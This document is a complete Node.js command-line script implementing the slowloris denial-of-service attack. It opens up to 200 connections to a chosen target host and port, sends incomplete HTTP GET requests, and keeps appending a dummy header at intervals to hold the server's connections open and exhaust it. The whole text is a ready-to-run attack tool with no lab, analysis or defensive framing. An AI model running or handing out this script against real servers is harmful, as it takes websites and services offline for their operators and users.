Slow Loris

slow_loris.js

#!/usr/bin/node

const program = require("commander");
const net = require("net");

let host;
program
	.usage("[options] <host>")
	.arguments("<host>")
	.option("-p, --port <port>", "specify port")
	.option("-c, --connections <amount>", "number of connections to maintain")
	.option("-t, --timeout <seconds>", "seconds before connections get updated")
	.action(host_ => {
		host = host_;
	})
	.parse(process.argv);

if (!host) {
	console.log("Please specify a target.");
	process.exit(1);
}

const maxConnections = program.connections || 200;
const port = program.port || 80;
const timeout = program.timeout || 30;

let connections = new Map();
connections.lastKey = -1;

for (let i = 0; i < maxConnections; i++)
    createConnection();

function createConnection() {
    if (connections.size >= maxConnections)
        return;

    const client = net.createConnection({port,host}, () => {
        console.log(`Making new connection: ${connections.size + 1}`)

        const id = connections.lastKey++;
        const d = new Date();

        client.write(`GET / HTTP/1.1\r\nHost: ${host}\r\n`);

        client.on('error', end);
        client.on('end', () => console.log(`Connection ended after ${(new Date().getTime() - d.getTime())/1000}s`))

        function end () {
            connections.delete(id);
            createConnection();
            client.end();
        }

        connections.set(id,client);
    })
}

setInterval(() => connections.forEach( client => client.write("X-a: r\r\n")), timeout*1000)